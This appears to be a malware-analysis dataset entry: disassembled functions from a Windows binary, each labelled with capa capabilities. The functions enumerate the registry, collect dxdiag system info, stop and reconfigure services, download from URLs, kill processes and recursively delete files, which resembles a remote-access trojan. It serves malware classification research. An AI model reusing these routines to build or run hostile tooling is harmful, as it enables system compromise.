joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41077e
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.004505a0
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.00431810
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x41085c
test eax, eax
je 0x41085c
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x410856
push 0x4600bc
lea ecx, [ebp - 0x34]
call fcn.0040425f
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.004043e5
pop ecx
push eax
mov ecx, 0x46c6a0
call fcn.004032f1
lea ecx, [ebp - 0x68]
call fcn.00401ed0
lea ecx, [ebp - 0x34]
call fcn.00401ed0
inc esi
cmp esi, dword [ebp - 4]
jb 0x4107f6
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x41099e
xor esi, esi
test eax, eax
je 0x41099e
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x410994
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.0043a6ff
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x4600bc
call fcn.0040425f
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.004043e5
pop ecx
push eax
mov ecx, 0x46c6b8
call fcn.004032f1
lea ecx, [ebp - 0x34]
call fcn.00401ed0
lea ecx, [ebp - 0x80]
call fcn.00401ed0
push 0x45f6c8
lea ecx, [ebp - 0x34]
call fcn.00402064
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.004075c4
pop ecx
push eax
mov ecx, 0x46c6d0
call fcn.00403416
lea ecx, [ebp - 0x80]
call fcn.00401fa7
lea ecx, [ebp - 0x34]
call fcn.00401fa7
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402064
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040208b
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00402efd
pop ecx
push eax
mov ecx, 0x46c750
call fcn.00403416
lea ecx, [ebp - 0x80]
call fcn.00401fa7
lea ecx, [ebp - 0x34]
call fcn.00401fa7
lea ecx, [ebp - 0x98]
call fcn.00401fa7
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x410871
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413012
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
push ebx
push esi
push edi
push str._sysinfo.txt
push str.temp
call fcn.0043918f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403086
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ed0
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x46588c
lea ecx, [ebp - 0x30]
call fcn.00409e6b
pop ecx
mov ecx, eax
call fcn.00401ecb
push eax
push str.dxdiag
push 0x45f6d4
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x18]
call fcn.004020b5
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401ecb
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.00417334
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00409db7
test al, al
je 0x4130ba
cmp esi, 0x4b0
jl 0x41308b
lea ecx, [ebp - 0x18]
call fcn.00409db7
test al, al
jne 0x413157
lea ecx, [ebp - 0x48]
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xb0]
call fcn.00404818
sub esp, 0x10
lea ecx, [ebp - 0xb0]
mov edi, esp
mov esi, 0x46bacc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004049d2
test al, al
je 0x41314c
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x46c238
call fcn.00402f97
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f73
pop ecx
push 0x97
lea ecx, [ebp - 0xb0]
call fcn.00404a6e
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0xb0]
call fcn.00404dd5
mov bl, 1
lea ecx, [ebp - 0xb0]
call fcn.00404df9
lea ecx, [ebp - 0x18]
call fcn.00401fa7
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp + 8]
call fcn.00401fa7
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4136ba
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push str._nF2
call fcn.00402064
push eax
push str.Temp
call fcn.0043919a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.004075c4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00402f73
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00401fa7
lea ecx, [ebp - 0x84]
call fcn.00401fa7
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00401f75
push eax
lea ecx, [ebp - 0x138]
call fcn.0040d8e4
lea ecx, [ebp - 0x138]
call fcn.004138f7
test al, al
je 0x4137eb
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.00413907
lea ecx, [ebp - 0x138]
call fcn.0040d895
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00401f75
movaps xmm0, xmmword [0x466080]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x45f6ac
mov edi, 0x46c7e8
setne bl
cmp dword [ebp - 0x1c], 0
je 0x4137d5
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402064
push 0x70
mov ecx, edi
call fcn.00404a6e
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x413806
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402064
push 0x6e
mov ecx, edi
jmp 0x413801
sub esp, 0x18
mov ecx, esp
push 0x45f6ac
call fcn.00402064
push 0x6f
mov ecx, 0x46c7e8
call fcn.00404a6e
lea ecx, [ebp - 0x138]
call fcn.0040cfab
lea ecx, [ebp - 0x18]
call fcn.00401fa7
lea ecx, [ebp + 8]
call fcn.00401fa7
lea ecx, [ebp + 0x20]
call fcn.00401fa7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41510d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4b4
push ebx
push esi
push edi
mov edi, ecx
mov bl, dl
push 0x46590c
push edi
lea ecx, [esp + 0x48]
call fcn.0040425f
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00403086
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401ed0
push 0
mov dl, bl
lea ecx, [esp + 0x6c]
call fcn.004142a5
pop ecx
lea ecx, [esp + 0x68]
call fcn.00402469
push eax
lea ecx, [esp + 0x6c]
call fcn.00401f75
push eax
call dword [0x46bd10]
push ecx
mov esi, eax
lea ecx, [esp + 0x5c]
push esi
call fcn.00413dba
lea edx, [esp + 0x80]
mov ecx, str.image_png
call fcn.00414611
push ecx
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x30]
call fcn.00401ecb
push eax
lea ecx, [esp + 0x64]
call fcn.00413e32
mov eax, dword [esi]
push esi
call dword [eax + 8]
push 0x1b
mov ecx, 0x46c578
call fcn.00401e29
mov ecx, eax
call fcn.00401f75
cmp byte [eax], 1
jne 0x4152b5
lea ecx, [esp + 0x10]
call fcn.004020b5
lea ecx, [esp + 0x28]
call fcn.00401ecb
lea edx, [esp + 0x10]
mov ecx, eax
call fcn.00417334
test al, al
je 0x4152ac
lea ecx, [esp + 0x28]
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
lea ecx, [esp + 0xc8]
call fcn.00405a2f
lea ecx, [esp + 0x10]
call fcn.00402469
push eax
lea ecx, [esp + 0x14]
call fcn.00401f75
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0xcc]
call fcn.00405b57
push 0x465928
push edi
lea ecx, [esp + 0xb0]
call fcn.0040425f
mov edx, eax
lea ecx, [esp + 0x94]
call fcn.00403086
pop ecx
lea ecx, [esp + 0xa8]
call fcn.00401ed0
lea ecx, [esp + 0x90]
call fcn.00401ecb
sub esp, 0x18
mov esi, eax
lea eax, [esp + 0x58]
mov ecx, esp
push eax
call fcn.004020cc
mov ecx, esi
call fcn.004173a6
add esp, 0x18
lea ecx, [esp + 0x90]
call fcn.00401ed0
lea ecx, [esp + 0x40]
call fcn.00401fa7
lea ecx, [esp + 0x10]
call fcn.00401fa7
lea ecx, [esp + 0x58]
call fcn.00413de0
lea ecx, [esp + 0x68]
call fcn.00401fa7
lea ecx, [esp + 0x28]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415daa
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x415de2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x415e00
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x415e11
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x415e4c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x415e9d
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x415e6d
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x415e9d
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x415e6d
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x415eae
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x415ee6
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x415f04
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415f15
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x415f4d
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x415f6b
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x415f7c
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00401ecb
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x415fb5
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x415ff9
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x415fd2
sub eax, 1
je 0x415fce
sub eax, 1
jne 0x415fd5
push 3
jmp 0x415fd4
push 2
jmp 0x415fd4
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41601e
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
lea ecx, [esp]
mov dl, 0x30
push esi
push edi
push str.alarm.wav
call fcn.00417967
pop ecx
lea ecx, [esp + 8]
call fcn.00401ecb
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4160b7
mov edi, 0x46c9e8
mov edx, 0x45f6ac
mov ecx, edi
call fcn.00405a22
test al, al
je 0x416097
sub esp, 0x18
cmp byte [0x46bea7], 0
mov ecx, esp
push 0x4659c4
je 0x416081
call fcn.00402064
mov ecx, 0x46ca00
jmp 0x41608b
call fcn.00402064
mov ecx, 0x46c768
push 0xa1
call fcn.00404a6e
jmp 0x4160c7
lea ecx, [esp + 8]
call fcn.00401ecb
sub esp, 0x18
mov esi, eax
mov ecx, esp
push edi
call fcn.004020cc
mov ecx, esi
call fcn.004173a6
add esp, 0x18
lea ecx, [esp + 8]
call fcn.00401ecb
mov ecx, eax
call fcn.004160d6
lea ecx, [esp + 8]
call fcn.00401ed0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41612b
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x46c9e8
mov bl, dl
call fcn.00401f8d
test bl, bl
je 0x416143
pop ebx
jmp fcn.0041601e
mov byte [0x46bea4], 1
pop ebx
ret
Function at 0x41636b
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov edi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.004165b1
cmp eax, 0xffffffff
jne 0x4163ac
lea ecx, [ebp + 8]
call fcn.00401ecb
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.004179b3
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.00401eda
lea ecx, [ebp - 0x18]
call fcn.00401ed0
mov ecx, edi
call fcn.00402469
lea ecx, [ebp + 8]
test eax, eax
je 0x416499
call fcn.00401ecb
sub esp, 0x18
mov esi, eax
mov ecx, esp
push edi
call fcn.004020cc
mov ecx, esi
call fcn.004173a6
add esp, 0x18
push str._alias_audio
mov edx, ebx
lea ecx, [ebp - 0x78]
call fcn.00416c32
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.00409e6b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00403010
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403086
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x60]
call fcn.00401ed0
lea ecx, [ebp - 0x78]
call fcn.00401ed0
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.00401ecb
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x45f6ac
call fcn.00402064
push 0xa9
mov ecx, 0x46ca00
call fcn.00404a6e
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x46bea8], eax
jmp 0x416560
call fcn.00401ecb
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4163da
sub esp, 0x18
mov ecx, esp
push 0x45f6ac
call fcn.00402064
push 0xa8
mov ecx, 0x46ca00
call fcn.00404a6e
jmp 0x4165a2
cmp byte [0x46bea6], bl
je 0x4164e8
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x46bea6], bl
cmp byte [0x46bea5], bl
je 0x416500
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x46bea5], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x416533
inc ecx
cmp ecx, 8
jne 0x416518
push dword [0x46bea8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x46bea8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41655b
push dword [0x46bea8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x41648f
mov eax, dword [0x46bea8]
test eax, eax
jne 0x4164d0
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x45f6ac
call fcn.00402064
push 0xaa
mov ecx, 0x46ca00
call fcn.00404a6e
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416a69
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x416aeb
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x416aeb
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x416ae2
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.00438e06
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x416ae2
push esi
push edi
push eax
call fcn.00431810
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x416b51
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x416b79
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x4170ac
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x4170c7
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x4170e1
mov eax, dword [0x465904]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x465908]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x417108
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x417122
mov eax, dword [0x45f958]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x417296
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x417156
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41727d
lea ecx, [ebp - 0x63c]
call fcn.00417036
test eax, eax
jne 0x417216
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x4171a1
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x4171b7
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x417233
lea ecx, [ebp - 0x210]
call fcn.004170ac
test eax, eax
je 0x41728f
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x4171fe
mov al, byte [ebp - 1]
test al, al
jne 0x417172
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x417298
test byte [ebp - 0x668], 1
je 0x41724e
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41728f
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x417263
jmp 0x417216
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41728f
xor eax, eax
mov byte [ebp - 1], al
jmp 0x417219
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret